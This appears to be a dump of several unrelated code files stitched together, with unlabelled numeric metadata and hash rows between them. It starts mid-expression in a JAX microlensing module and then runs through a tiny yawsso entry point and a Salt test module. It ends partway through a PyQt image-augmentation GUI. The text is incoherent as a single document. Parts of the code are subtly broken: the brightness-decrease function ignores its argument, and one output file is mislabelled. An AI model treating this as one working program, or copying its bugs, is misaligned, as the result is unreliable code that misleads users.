** 2 - 2 * a ** 6 * w * wbar * r3bar * r3 ** 2 - 3 * a ** 6 * w * wbar * e1 ** 2 * r3 - 6 * a ** 6 * w * wbar * e1 * e2 * r3 + 6 * a ** 6 * w * wbar * e1 * r3 - 3 * a ** 6 * w * wbar * e2 ** 2 * r3 + 6 * a ** 6 * w * wbar * e2 * r3 - 3 * a ** 6 * w * wbar * r3 + a ** 6 * w * r3bar * e1 ** 2 * r3 + 2 * a ** 6 * w * r3bar * e1 * e2 * r3 - 2 * a ** 6 * w * r3bar * e1 * r3 + a ** 6 * w * r3bar * e2 ** 2 * r3 - 2 * a ** 6 * w * r3bar * e2 * r3 + a ** 6 * w * r3bar * r3 - a ** 6 * w * e1 ** 3 - 3 * a ** 6 * w * e1 ** 2 * e2 + 3 * a ** 6 * w * e1 ** 2 - 3 * a ** 6 * w * e1 * e2 ** 2 + 6 * a ** 6 * w * e1 * e2 - 3 * a ** 6 * w * e1 - a ** 6 * w * e2 ** 3 + 3 * a ** 6 * w * e2 ** 2 - 3 * a ** 6 * w * e2 + a ** 6 * w - a ** 6 * wbar ** 2 * r3 ** 3 + a ** 6 * wbar * r3bar * e1 * r3 ** 3 + a ** 6 * wbar * r3bar * e2 * r3 ** 3 - 2 * a ** 6 * wbar * e1 * r3 ** 2 - 2 * a ** 6 * wbar * e2 * r3 ** 2 + 2 * a ** 6 * wbar * r3 ** 2 + a ** 6 * r3bar * e1 ** 2 * r3 ** 2 + 2 * a ** 6 * r3bar * e1 * e2 * r3 ** 2 - a ** 6 * r3bar * e1 * r3 ** 2 + a ** 6 * r3bar * e2 ** 2 * r3 ** 2 - a ** 6 * r3bar * e2 * r3 ** 2 + a ** 6 * e1 ** 2 * r3 ** 3 - a ** 6 * e1 ** 2 * r3 - 2 * a ** 6 * e1 * e2 * r3 ** 3 - 2 * a ** 6 * e1 * e2 * r3 + 2 * a ** 6 * e1 * r3 + a ** 6 * e2 ** 2 * r3 ** 3 - a ** 6 * e2 ** 2 * r3 + 2 * a ** 6 * e2 * r3 - a ** 6 * r3 + 3 * a ** 5 * w * wbar ** 2 * e1 * r3 ** 3 - 3 * a ** 5 * w * wbar ** 2 * e2 * r3 ** 3 - 2 * a ** 5 * w * wbar * r3bar * e1 * r3 ** 3 + 2 * a ** 5 * w * wbar * r3bar * e2 * r3 ** 3 + 6 * a ** 5 * w * wbar * e1 ** 2 * r3 ** 2 - 6 * a ** 5 * w * wbar * e1 * r3 ** 2 - 6 * a ** 5 * w * wbar * e2 ** 2 * r3 ** 2 + 6 * a ** 5 * w * wbar * e2 * r3 ** 2 - 2 * a ** 5 * w * r3bar * e1 ** 2 * r3 ** 2 + 2 * a ** 5 * w * r3bar * e1 * r3 ** 2 + 2 * a ** 5 * w * r3bar * e2 ** 2 * r3 ** 2 - 2 * a ** 5 * w * r3bar * e2 * r3 ** 2 + 3 * a ** 5 * w * e1 ** 3 * r3 + 3 * a ** 5 * w * e1 ** 2 * e2 * r3 - 6 * a ** 5 * w * e1 ** 2 * r3 - 3 * a ** 5 * w * e1 * e2 ** 2 * r3 + 3 * a ** 5 * w * e1 * r3 - 3 * a ** 5 * w * e2 ** 3 * r3 + 6 * a ** 5 * w * e2 ** 2 * r3 - 3 * a ** 5 * w * e2 * r3 + 2 * a ** 5 * wbar * e1 * r3 ** 3 - 2 * a ** 5 * wbar * e2 * r3 ** 3 - a ** 5 * r3bar * e1 ** 2 * r3 ** 3 + a ** 5 * r3bar * e2 ** 2 * r3 ** 3 + 2 * a ** 5 * e1 ** 2 * r3 ** 2 - 2 * a ** 5 * e1 * r3 ** 2 - 2 * a ** 5 * e2 ** 2 * r3 ** 2 + 2 * a ** 5 * e2 * r3 ** 2 - 3 * a ** 4 * w * wbar * e1 ** 2 * r3 ** 3 + 6 * a ** 4 * w * wbar * e1 * e2 * r3 ** 3 - 3 * a ** 4 * w * wbar * e2 ** 2 * r3 ** 3 + a ** 4 * w * r3bar * e1 ** 2 * r3 ** 3 - 2 * a ** 4 * w * r3bar * e1 * e2 * r3 ** 3 + a ** 4 * w * r3bar * e2 ** 2 * r3 ** 3 - 3 * a ** 4 * w * e1 ** 3 * r3 ** 2 + 3 * a ** 4 * w * e1 ** 2 * e2 * r3 ** 2 + 3 * a ** 4 * w * e1 ** 2 * r3 ** 2 + 3 * a ** 4 * w * e1 * e2 ** 2 * r3 ** 2 - 6 * a ** 4 * w * e1 * e2 * r3 ** 2 - 3 * a ** 4 * w * e2 ** 3 * r3 ** 2 + 3 * a ** 4 * w * e2 ** 2 * r3 ** 2 - a ** 4 * e1 ** 2 * r3 ** 3 + 2 * a ** 4 * e1 * e2 * r3 ** 3 - a ** 4 * e2 ** 2 * r3 ** 3 + a ** 3 * w * e1 ** 3 * r3 ** 3 - 3 * a ** 3 * w * e1 ** 2 * e2 * r3 ** 3 + 3 * a ** 3 * w * e1 * e2 ** 2 * r3 ** 3 - a ** 3 * w * e2 ** 3 * r3 ** 3 ) p = jnp.stack([p_0, p_1, p_2, p_3, p_4, p_5, p_6, p_7, p_8, p_9, p_10]) return jnp.moveaxis(p, 0, -1) @jit def _poly_coeffs_critical_binary(phi, a, e1): """ Compute the coefficients of 2*Nth order polynomial which defines the critical curves for the binary lens case (N = 2). """ p_0 = jnp.exp(-1j * phi) p_1 = jnp.zeros_like(phi) p_2 = -2 * a ** 2 * jnp.exp(-1j * phi) - 1.0 p_3 = (-4 * a * e1 + 2 * a) * jnp.ones_like(phi) p_4 = a ** 4 * jnp.exp(-1j * phi) - a ** 2 p = jnp.stack([p_0, p_1, p_2, p_3, p_4]) return p @jit def _poly_coeffs_critical_triple(phi, a, r3, e1, e2): x = jnp.exp(-1j * phi) p_0 = x p_1 = -2 * x * r3 p_2 = -2 * a ** 2 * x - 1 + x * r3 ** 2 p_3 = 4 * a ** 2 * x * r3 - 2 * a * e1 + 2 * a * e2 + 2 * e1 * r3 + 2 * e2 * r3 p_4 = ( a ** 4 * x - 3 * a ** 2 * e1 - 3 * a ** 2 * e2 + 2 * a ** 2 - 2 * a ** 2 * x * r3 ** 2 + 4 * a * e1 * r3 - 4 * a * e2 * r3 - e1 * r3 ** 2 - e2 * r3 ** 2 ) p_5 = ( -2 * a ** 4 * x * r3 + 2 * a ** 2 * e1 * r3 + 2 * a ** 2 * e2 * r3 - 2 * a * e1 * r3 ** 2 + 2 * a * e2 * r3 ** 2 ) p_6 = ( a ** 4 * e1 + a ** 4 * e2 - a ** 4 + a ** 4 * x * r3 ** 2 - a ** 2 * e1 * r3 ** 2 - a ** 2 * e2 * r3 ** 2 ) p = jnp.stack([p_0, p_1, p_2, p_3, p_4, p_5, p_6]) return p @jit def lens_eq_binary(z, a, e1): zbar = jnp.conjugate(z) return z - e1 / (zbar - a) - (1.0 - e1) / (zbar + a) @jit def lens_eq_triple(z, a, r3, e1, e2): zbar = jnp.conjugate(z) return ( z - e1 / (zbar - a) - e2 / (zbar + a) - (1.0 - e1 - e2) / (zbar - jnp.conjugate(r3)) ) @jit def lens_eq_jac_det_binary(z, a, e1): zbar = jnp.conjugate(z) return 1.0 - jnp.abs(e1 / (zbar - a) ** 2 + (1.0 - e1) / (zbar + a) ** 2) ** 2 @jit def lens_eq_jac_det_triple(z, a, r3, e1, e2): zbar = jnp.conjugate(z) return ( 1.0 - jnp.abs( e1 / (zbar - a) ** 2 + e2 / (zbar + a) ** 2 + (1.0 - e1 - e2) / (zbar - jnp.conjugate(r3)) ** 2 ) ** 2 ) @partial(jit, static_argnames=("npts")) def critical_and_caustic_curves_binary(a, e1, npts=200): phi = jnp.linspace(-np.pi, np.pi, npts) coeffs = jnp.moveaxis(_poly_coeffs_critical_binary(phi, a, e1), 0, -1) critical_curves = poly_roots(coeffs).reshape(-1) caustic_curves = lens_eq_binary(critical_curves, a, e1) return critical_curves, caustic_curves @partial(jit, static_argnames=("npts")) def critical_and_caustic_curves_triple(a, r3, e1, e2, npts=200): phi = jnp.linspace(-np.pi, np.pi, npts) coeffs = jnp.moveaxis(_poly_coeffs_critical_triple(phi, a, r3, e1, e2), 0, -1) critical_curves = poly_roots(coeffs).reshape(-1) caustic_curves = lens_eq_triple(critical_curves, a, r3, e1, e2) return critical_curves, caustic_curves @partial(jit, static_argnames=("root_solver_itmax", "compensated")) def images_point_source_binary(w, a, e1, root_solver_itmax=2500, compensated=False): # Compute complex polynomial coefficients for each element of w coeffs = _poly_coeffs_binary(w, a, e1) # Compute roots roots = poly_roots(coeffs, itmax=root_solver_itmax, compensated=compensated) roots = jnp.moveaxis(roots, -1, 0) # Evaluate the lens equation at the roots lens_eq_eval = lens_eq_binary(roots, a, e1) - w # Mask out roots which don't satisfy the lens equation mask_solutions = jnp.abs(lens_eq_eval) < 1e-5 return roots, mask_solutions @partial(jit, static_argnames=("root_solver_itmax", "compensated")) def images_point_source_triple(w, a, r3, e1, e2, root_solver_itmax=2500, compensated=False): # Compute complex polynomial coefficients for each element of w coeffs = _poly_coeffs_triple(w, a, r3, e1, e2) # Compute roots roots = poly_roots(coeffs, itmax=root_solver_itmax, compensated=compensated) roots = jnp.moveaxis(roots, -1, 0) # Evaluate the lens equation at the roots lens_eq_eval = lens_eq_triple(roots, a, r3, e1, e2) - w # Mask out roots which don't satisfy the lens equation mask_solutions = jnp.abs(lens_eq_eval) < 1e-5 return roots, mask_solutions @partial(jit, static_argnames=("root_solver_itmax")) def mag_point_source_binary(w, a, e1, root_solver_itmax=2500): """ Compute the magnification of a point source for the binary lens case. Args: w (array_like): Source position in the complex plane. a (float): Half the separation between the two lenses. We use the convention where both lenses are located on the real line with r1 = a and r2 = -a. e1 (array_like): Mass fraction of the first lens e1 = m1/(m1+m2). It follows that e2 = 1 - e1. root_solver_itmax (int, optional): Max number of iterations for the root solver. Defaults to 2500. Returns: array_like: The magnification evaluated at w. """ images, mask = images_point_source_binary( w, a, e1, root_solver_itmax=root_solver_itmax ) det = lens_eq_jac_det_binary(images, a, e1) mag = (1.0 / jnp.abs(det)) * mask return mag.sum(axis=0).reshape(w.shape) @partial(jit, static_argnames=("root_solver_itmax")) def mag_point_source_triple(w, a, r3, e1, e2, root_solver_itmax=2500): """ Compute the magnification of a point source for the triple lens case. Args: w (array_like): Source position in the complex plane. a (float): Half the separation between the first two lenses located on the real line with r1 = a and r2 = -a. r3 (float): The position of the third lens. e1 (array_like): Mass fraction of the first lens e1 = m1/(m1 + m2 + m3). e2 (array_like): Mass fraction of the second lens e2 = m2/(m1 + m2 + m3). root_solver_itmax (int, optional): Max number of iterations for the root solver. Defaults to 2500. Returns: array_like: The magnification evaluated at w. """ images, mask = images_point_source_triple( w, a, r3, e1, e2, root_solver_itmax=root_solver_itmax ) det = lens_eq_jac_det_triple(images, a, r3, e1, e2) mag = (1.0 / jnp.abs(det)) * mask return mag.sum(axis=0).reshape(w.shape)
36.675931
92
0.317225
9,897
62,019
1.962514
0.017076
0.063481
0.02842
0.015446
0.940226
0.861041
0.661175
0.461824
0.284148
0.248159
0
0.206598
0.492156
62,019
1,690
93
36.697633
0.410084
0.049582
0
0.056884
0
0
0.004977
0.002829
0
0
0
0
0
1
0.00905
false
0
0.003232
0
0.021332
0
0
0
1
null
0
0
0
1
1
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
47e58887efb8510cdf5081d4042353c32b1fcec9
35
py
Python
yawsso/__main__.py
MikeBourgault/yawsso
caec4af57049ad97bcd8d20aa70521aa3b6ff44f
[ "MIT" ]
null
null
null
yawsso/__main__.py
MikeBourgault/yawsso
caec4af57049ad97bcd8d20aa70521aa3b6ff44f
[ "MIT" ]
null
null
null
yawsso/__main__.py
MikeBourgault/yawsso
caec4af57049ad97bcd8d20aa70521aa3b6ff44f
[ "MIT" ]
null
null
null
from yawsso.cli import main main()
11.666667
27
0.771429
6
35
4.5
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.142857
35
2
28
17.5
0.9
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
9a114c6a75c50ec672bc569609cc099412e7c7cf
202
py
Python
salt/modules/test_virtual.py
jkur/salt
3e62675550f9869d550d7787800270e632955d2f
[ "Apache-2.0" ]
3
2015-04-16T18:42:35.000Z
2017-10-30T16:57:49.000Z
salt/salt/modules/test_virtual.py
smallyear/linuxLearn
342e5020bf24b5fac732c4275a512087b47e578d
[ "Apache-2.0" ]
16
2015-11-18T00:44:03.000Z
2018-10-29T20:48:27.000Z
salt/salt/modules/test_virtual.py
smallyear/linuxLearn
342e5020bf24b5fac732c4275a512087b47e578d
[ "Apache-2.0" ]
1
2018-04-19T16:57:27.000Z
2018-04-19T16:57:27.000Z
# -*- coding: utf-8 -*- ''' Module for running arbitrary tests with a __virtual__ function ''' from __future__ import absolute_import def __virtual__(): return False def ping(): return True
14.428571
62
0.69802
25
202
5.12
0.84
0
0
0
0
0
0
0
0
0
0
0.006173
0.19802
202
13
63
15.538462
0.783951
0.420792
0
0
0
0
0
0
0
0
0
0
0
1
0.4
true
0
0.2
0.4
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
1
1
0
0
5
9a38eec911c4308c32f39ea12acdaba4f5875e6f
39,015
py
Python
augmentation.py
yilmaz0734/Image-Augmentor-GUI-For-Data-Science
4fd91a63acf5cfe0bd6dcc75dfabfbb36adbeb86
[ "MIT" ]
null
null
null
augmentation.py
yilmaz0734/Image-Augmentor-GUI-For-Data-Science
4fd91a63acf5cfe0bd6dcc75dfabfbb36adbeb86
[ "MIT" ]
null
null
null
augmentation.py
yilmaz0734/Image-Augmentor-GUI-For-Data-Science
4fd91a63acf5cfe0bd6dcc75dfabfbb36adbeb86
[ "MIT" ]
1
2022-03-23T09:52:37.000Z
2022-03-23T09:52:37.000Z
import PyQt5 import os import imutils import cv2 import numpy as np from PIL import Image as im from PyQt5 import QtWidgets, uic, QtGui from PyQt5.QtGui import QGuiApplication import sys #Image augmentation GUI App def contour_crop_no_resize(image,dim): ''' Contour and crop the image (generally used in brain mri images and object detection) :param image: cv2 object ''' resized = cv2.resize(image, dim, interpolation = cv2.INTER_AREA) return resized def contour_crop_resize(image,dim): ''' Contour and crop the image (generally used in brain mri images and object detection) :param image: cv2 object ''' grayscale=cv2.cvtColor(image,cv2.COLOR_BGR2GRAY) grayscale=cv2.GaussianBlur(grayscale,(5,5),0) threshold_image=cv2.threshold(grayscale,45,255,cv2.THRESH_BINARY)[1] threshold_image=cv2.erode(threshold_image,None,iterations=2) threshold_image=cv2.dilate(threshold_image,None,iterations=2) contour=cv2.findContours(threshold_image.copy(),cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE) contour=imutils.grab_contours(contour) c=max(contour,key=cv2.contourArea) extreme_pnts_left=tuple(c[c[:,:,0].argmin()][0]) extreme_pnts_right=tuple(c[c[:,:,0].argmax()][0]) extreme_pnts_top=tuple(c[c[:,:,1].argmin()][0]) extreme_pnts_bot=tuple(c[c[:,:,1].argmax()][0]) new_image=image[extreme_pnts_top[1]:extreme_pnts_bot[1],extreme_pnts_left[0]:extreme_pnts_right[0]] resized = cv2.resize(new_image, dim, interpolation = cv2.INTER_AREA) return resized def brightness_increase(image,brightness): ''' increase the brightness of the image :param image: cv2 object :param brightness: brightness increasing level ''' bright=np.ones(image.shape,dtype="uint8")*brightness brightincreased=cv2.add(image,bright) return brightincreased def decrease_brightness(image,brightness): ''' decrease the brightness of the image :param image: cv2 object :param brightness: brightness decreasing level ''' bright=np.ones(image.shape,dtype="uint8")*50 brightdecrease=cv2.subtract(image,bright) return brightdecrease def rotate(image,angle=90, scale=1.0): ''' Rotate the image :param image: cv2 object :param image: image to be processed :param angle: Rotation angle in degrees. Positive values mean counter-clockwise rotation (the coordinate origin is assumed to be the top-left corner). :param scale: Isotropic scale factor. ''' w = image.shape[1] h = image.shape[0] #rotate matrix M = cv2.getRotationMatrix2D((w/2,h/2), angle, scale) #rotate image = cv2.warpAffine(image,M,(w,h)) return image def flip(image,axis): ''' Flip the image :param image: cv2 object :param axis: axis to flip ''' flip=cv2.flip(image,axis) return flip def sharpen(image): ''' Sharpen the image :param image: cv2 object ''' sharpening=np.array([ [-1,-1,-1], [-1,10,-1], [-1,-1,-1] ]) sharpened=cv2.filter2D(image,-1,sharpening) return sharpened def shear(image,axis): ''' Shear the image :param image: cv2 object :param axis: axis which image will be sheared ''' rows, cols, dim = image.shape if axis==0: M = np.float32([[1, 0.5, 0], [0, 1 , 0], [0, 0 , 1]]) elif axis==1: M = np.float32([[1, 0, 0], [0.5, 1, 0], [0, 0, 1]]) sheared_img = cv2.warpPerspective(image,M,(int(cols*1.5),int(rows*1.5))) return sheared_img class Ui(QtWidgets.QMainWindow): def __init__(self): super(Ui, self).__init__() uic.loadUi('augmentation.ui', self) self.show() self.setWindowTitle("Image Augmentor") mypixmap=QtGui.QPixmap("2582365.ico") my_icon=QtGui.QIcon(mypixmap) self.setWindowIcon(my_icon) self.lineEdit=self.findChild(QtWidgets.QLineEdit,'lineEdit') self.checkBox = self.findChild(QtWidgets.QCheckBox,'checkBox_1') self.checkBox_2=self.findChild(QtWidgets.QCheckBox,'checkBox_2') self.checkBox_3=self.findChild(QtWidgets.QCheckBox,'checkBox_3') self.checkBox_4=self.findChild(QtWidgets.QCheckBox,'checkBox_4') self.checkBox_5=self.findChild(QtWidgets.QCheckBox,'checkBox_5') self.checkBox_6=self.findChild(QtWidgets.QCheckBox,'checkBox_6') self.checkBox_7=self.findChild(QtWidgets.QCheckBox,'checkBox_7') self.button=self.findChild(QtWidgets.QPushButton,'pushButton') self.button2=self.findChild(QtWidgets.QPushButton,'pushButton_2') self.button3=self.findChild(QtWidgets.QPushButton,'pushButton_3') self.button2.clicked.connect(self.clear) self.button3.clicked.connect(self.clearline) self.progress=self.findChild(QtWidgets.QProgressBar,'progressBar') self.spin1=self.findChild(QtWidgets.QSpinBox,'spinBox') self.spin2=self.findChild(QtWidgets.QSpinBox,'spinBox_2') self.button.clicked.connect(self.submit) def clearline(self): self.lineEdit.clear() def clear(self): if self.button2.text()=="Clear Choices": self.button2.setText("Toggle") self.checkBox.setChecked(False) self.checkBox_2.setChecked(False) self.checkBox_3.setChecked(False) self.checkBox_4.setChecked(False) self.checkBox_5.setChecked(False) self.checkBox_6.setChecked(False) self.checkBox_7.setChecked(False) elif self.button2.text()=="Toggle": self.button2.setText("Clear Choices") self.checkBox.setChecked(True) self.checkBox_2.setChecked(True) self.checkBox_3.setChecked(True) self.checkBox_4.setChecked(True) self.checkBox_5.setChecked(True) self.checkBox_6.setChecked(True) self.checkBox_7.setChecked(True) def submit(self): counter=0 dim=(int(self.spin1.value()),int(self.spin2.value())) path=self.lineEdit.text() if str(path).startswith('"') and str(path).endswith('"'): path=path[1:-1] my_path=str(path).split("\\") folder_name=my_path.copy().pop() my_path_popped=my_path[:-1] # using list comprehension def listToString(s): # initialize an empty string str1 = "" # traverse in the string for ele in s: str1 += ele str1 += "/" # return string return str1 poppedString=listToString(my_path_popped) if not os.path.exists(poppedString): msg = QtWidgets.QMessageBox() msg.setIcon(QtWidgets.QMessageBox.Critical) msg.setText("Error") msg.setInformativeText("Change your path!") msg.setWindowTitle("Error!") msg.setDetailedText("Program could not find the path you provided.") msg.setStandardButtons(QtWidgets.QMessageBox.Ok | QtWidgets.QMessageBox.Cancel) msg.exec_() String=listToString(my_path) i=float(0.000001) aug_path=poppedString+"/augmented_"+folder_name if not os.path.exists(aug_path): os.makedirs(aug_path) for subdir, dirs, files in os.walk(String): for file in files: QGuiApplication.processEvents() filepath = subdir + "/" + file imagem=cv2.imread(filepath) resized=0 if self.checkBox.isChecked(): cv2.imwrite(aug_path+"/cntrdrszd_"+file,contour_crop_resize(imagem,dim)) resized=contour_crop_resize(imagem,dim) else: cv2.imwrite(aug_path+"/rszd_"+file,contour_crop_no_resize(imagem,dim)) resized=contour_crop_no_resize(imagem,dim) if self.checkBox_2.isChecked(): cv2.imwrite(aug_path+"/brinc_"+file,brightness_increase(resized,50)) if self.checkBox_3.isChecked(): cv2.imwrite(aug_path+"/brdec_"+file,decrease_brightness(resized,50)) if self.checkBox_4.isChecked(): cv2.imwrite(aug_path+"/rtd90_"+file,rotate(resized,90,1)) cv2.imwrite(aug_path+"/rtd45_"+file,rotate(resized,45,1)) cv2.imwrite(aug_path+"/rtd30_"+file,rotate(resized,30,1)) cv2.imwrite(aug_path+"/rtd270_"+file,rotate(resized,270,1)) cv2.imwrite(aug_path+"/rtd315_"+file,rotate(resized,315,1)) cv2.imwrite(aug_path+"/rtd330_"+file,rotate(resized,330,1)) if self.checkBox_2.isChecked(): cv2.imwrite(aug_path+"/binc_rtd90_"+file,rotate(brightness_increase(resized,50),90,1)) cv2.imwrite(aug_path+"/binc_rtd45_"+file,rotate(brightness_increase(resized,50),45,1)) cv2.imwrite(aug_path+"/binc_rtd30_"+file,rotate(brightness_increase(resized,50),30,1)) cv2.imwrite(aug_path+"/binc_rtd270_"+file,rotate(brightness_increase(resized,50),270,1)) cv2.imwrite(aug_path+"/binc_rtd315_"+file,rotate(brightness_increase(resized,50),315,1)) cv2.imwrite(aug_path+"/binc_rtd330_"+file,rotate(brightness_increase(resized,50),330,1)) if self.checkBox_3.isChecked(): cv2.imwrite(aug_path+"/bdec_rtd90_"+file,rotate(decrease_brightness(resized,50),90,1)) cv2.imwrite(aug_path+"/bdec_rtd45_"+file,rotate(decrease_brightness(resized,50),45,1)) cv2.imwrite(aug_path+"/bdec_rtd30_"+file,rotate(decrease_brightness(resized,50),30,1)) cv2.imwrite(aug_path+"/bdec_rtd270_"+file,rotate(decrease_brightness(resized,50),270,1)) cv2.imwrite(aug_path+"/bdec_rtd315_"+file,rotate(decrease_brightness(resized,50),315,1)) cv2.imwrite(aug_path+"/bdec_rtd330_"+file,rotate(decrease_brightness(resized,50),330,1)) if self.checkBox_5.isChecked(): cv2.imwrite(aug_path+"/flipxy_"+file,flip(resized,-1)) cv2.imwrite(aug_path+"/flipx_"+file,flip(resized,0)) cv2.imwrite(aug_path+"/flipy_"+file,flip(resized,1)) if self.checkBox_2.isChecked(): cv2.imwrite(aug_path+"/binc_flipxy_"+file,flip(brightness_increase(resized,50),-1)) cv2.imwrite(aug_path+"/binc_flipx_"+file,flip(brightness_increase(resized,50),0)) cv2.imwrite(aug_path+"/bdec_flipy_"+file,flip(brightness_increase(resized,50),1)) if self.checkBox_3.isChecked(): cv2.imwrite(aug_path+"/bdec_flipxy_"+file,flip(decrease_brightness(resized,50),-1)) cv2.imwrite(aug_path+"/bdec_flipx_"+file,flip(decrease_brightness(resized,50),0)) cv2.imwrite(aug_path+"/bdec_flipy_"+file,flip(decrease_brightness(resized,50),1)) if self.checkBox_4.isChecked(): cv2.imwrite(aug_path+"/rtd90_flipxy_"+file,flip(rotate(resized,90,1),-1)) cv2.imwrite(aug_path+"/rtd45_flipxy_"+file,flip(rotate(resized,45,1),-1)) cv2.imwrite(aug_path+"/rtd30_flipxy_"+file,flip(rotate(resized,30,1),-1)) cv2.imwrite(aug_path+"/rtd270_flipxy_"+file,flip(rotate(resized,270,1),-1)) cv2.imwrite(aug_path+"/rtd315_flipxy_"+file,flip(rotate(resized,315,1),-1)) cv2.imwrite(aug_path+"/rtd330_flipxy_"+file,flip(rotate(resized,330,1),-1)) cv2.imwrite(aug_path+"/rtd90_flipx_"+file,flip(rotate(resized,90,1),0)) cv2.imwrite(aug_path+"/rtd45_flipx_"+file,flip(rotate(resized,45,1),0)) cv2.imwrite(aug_path+"/rtd30_flipx_"+file,flip(rotate(resized,30,1),0)) cv2.imwrite(aug_path+"/rtd270_flipx_"+file,flip(rotate(resized,270,1),0)) cv2.imwrite(aug_path+"/rtd315_flipx_"+file,flip(rotate(resized,315,1),0)) cv2.imwrite(aug_path+"/rtd330_flipx_"+file,flip(rotate(resized,330,1),0)) cv2.imwrite(aug_path+"/rtd90_flipy_"+file,flip(rotate(resized,90,1),1)) cv2.imwrite(aug_path+"/rtd45_flipy_"+file,flip(rotate(resized,45,1),1)) cv2.imwrite(aug_path+"/rtd30_flipy_"+file,flip(rotate(resized,30,1),1)) cv2.imwrite(aug_path+"/rtd270_flipy_"+file,flip(rotate(resized,270,1),1)) cv2.imwrite(aug_path+"/rtd315_flipy_"+file,flip(rotate(resized,315,1),1)) cv2.imwrite(aug_path+"/rtd330_flipy_"+file,flip(rotate(resized,330,1),1)) if self.checkBox_4.isChecked() and self.checkBox_2.isChecked(): cv2.imwrite(aug_path+"/binc_rtd90_flipxy_"+file,flip(rotate(brightness_increase(resized,50),90,1),-1)) cv2.imwrite(aug_path+"/binc_rtd45_flipxy_"+file,flip(rotate(brightness_increase(resized,50),45,1),-1)) cv2.imwrite(aug_path+"/binc_rtd30_flipxy_"+file,flip(rotate(brightness_increase(resized,50),30,1),-1)) cv2.imwrite(aug_path+"/binc_rtd270_flipxy_"+file,flip(rotate(brightness_increase(resized,50),270,1),-1)) cv2.imwrite(aug_path+"/binc_rtd315_flipxy_"+file,flip(rotate(brightness_increase(resized,50),315,1),-1)) cv2.imwrite(aug_path+"/binc_rtd330_flipxy_"+file,flip(rotate(brightness_increase(resized,50),330,1),-1)) cv2.imwrite(aug_path+"/binc_rtd90_flipx_"+file,flip(rotate(brightness_increase(resized,50),90,1),0)) cv2.imwrite(aug_path+"/binc_rtd45_flipx_"+file,flip(rotate(brightness_increase(resized,50),45,1),0)) cv2.imwrite(aug_path+"/binc_rtd30_flipx_"+file,flip(rotate(brightness_increase(resized,50),30,1),0)) cv2.imwrite(aug_path+"/binc_rtd270_flipx_"+file,flip(rotate(brightness_increase(resized,50),270,1),0)) cv2.imwrite(aug_path+"/binc_rtd315_flipx_"+file,flip(rotate(brightness_increase(resized,50),315,1),0)) cv2.imwrite(aug_path+"/binc_rtd330_flipx_"+file,flip(rotate(brightness_increase(resized,50),330,1),0)) cv2.imwrite(aug_path+"/binc_rtd90_flipy_"+file,flip(rotate(brightness_increase(resized,50),90,1),1)) cv2.imwrite(aug_path+"/binc_rtd45_flipy_"+file,flip(rotate(brightness_increase(resized,50),45,1),1)) cv2.imwrite(aug_path+"/binc_rtd30_flipy_"+file,flip(rotate(brightness_increase(resized,50),30,1),1)) cv2.imwrite(aug_path+"/binc_rtd270_flipy_"+file,flip(rotate(brightness_increase(resized,50),270,1),1)) cv2.imwrite(aug_path+"/binc_rtd315_flipy_"+file,flip(rotate(brightness_increase(resized,50),315,1),1)) cv2.imwrite(aug_path+"/binc_rtd330_flipy_"+file,flip(rotate(brightness_increase(resized,50),330,1),1)) if self.checkBox_4.isChecked() and self.checkBox_3.isChecked(): cv2.imwrite(aug_path+"/bdec_rtd90_flipxy_"+file,flip(rotate(decrease_brightness(resized,50),90,1),-1)) cv2.imwrite(aug_path+"/bdec_rtd45_flipxy_"+file,flip(rotate(decrease_brightness(resized,50),45,1),-1)) cv2.imwrite(aug_path+"/bdec_rtd30_flipxy_"+file,flip(rotate(decrease_brightness(resized,50),30,1),-1)) cv2.imwrite(aug_path+"/bdec_rtd270_flipxy_"+file,flip(rotate(decrease_brightness(resized,50),270,1),-1)) cv2.imwrite(aug_path+"/bdec_rtd315_flipxy_"+file,flip(rotate(decrease_brightness(resized,50),315,1),-1)) cv2.imwrite(aug_path+"/bdec_rtd330_flipxy_"+file,flip(rotate(decrease_brightness(resized,50),330,1),-1)) cv2.imwrite(aug_path+"/bdec_rtd90_flipx_"+file,flip(rotate(decrease_brightness(resized,50),90,1),0)) cv2.imwrite(aug_path+"/bdec_rtd45_flipx_"+file,flip(rotate(decrease_brightness(resized,50),45,1),0)) cv2.imwrite(aug_path+"/bdec_rtd30_flipx_"+file,flip(rotate(decrease_brightness(resized,50),30,1),0)) cv2.imwrite(aug_path+"/bdec_rtd270_flipx_"+file,flip(rotate(decrease_brightness(resized,50),270,1),0)) cv2.imwrite(aug_path+"/bdec_rtd315_flipx_"+file,flip(rotate(decrease_brightness(resized,50),315,1),0)) cv2.imwrite(aug_path+"/bdec_rtd330_flipx_"+file,flip(rotate(decrease_brightness(resized,50),330,1),0)) cv2.imwrite(aug_path+"/bdec_rtd90_flipy_"+file,flip(rotate(decrease_brightness(resized,50),90,1),1)) cv2.imwrite(aug_path+"/bdec_rtd45_flipy_"+file,flip(rotate(decrease_brightness(resized,50),45,1),1)) cv2.imwrite(aug_path+"/bdec_rtd30_flipy_"+file,flip(rotate(decrease_brightness(resized,50),30,1),1)) cv2.imwrite(aug_path+"/bdec_rtd270_flipy_"+file,flip(rotate(decrease_brightness(resized,50),270,1),1)) cv2.imwrite(aug_path+"/bdec_rtd315_flipy_"+file,flip(rotate(decrease_brightness(resized,50),315,1),1)) cv2.imwrite(aug_path+"/bdec_rtd330_flipy_"+file,flip(rotate(decrease_brightness(resized,50),330,1),1)) if self.checkBox_6.isChecked(): cv2.imwrite(aug_path+"/shrpnd_"+file,sharpen(resized)) if self.checkBox_2.isChecked(): cv2.imwrite(aug_path+"/binc_shrpnd_"+file,sharpen(brightness_increase(resized,50))) if self.checkBox_3.isChecked(): cv2.imwrite(aug_path+"/bdec_shrpnd_"+file,sharpen(decrease_brightness(resized,50))) if self.checkBox_4.isChecked(): cv2.imwrite(aug_path+"/rtd90_shrpnd_"+file,sharpen(rotate(resized,90,1))) cv2.imwrite(aug_path+"/rtd45_shrpnd_"+file,sharpen(rotate(resized,45,1))) cv2.imwrite(aug_path+"/rtd30_shrpnd_"+file,sharpen(rotate(resized,30,1))) 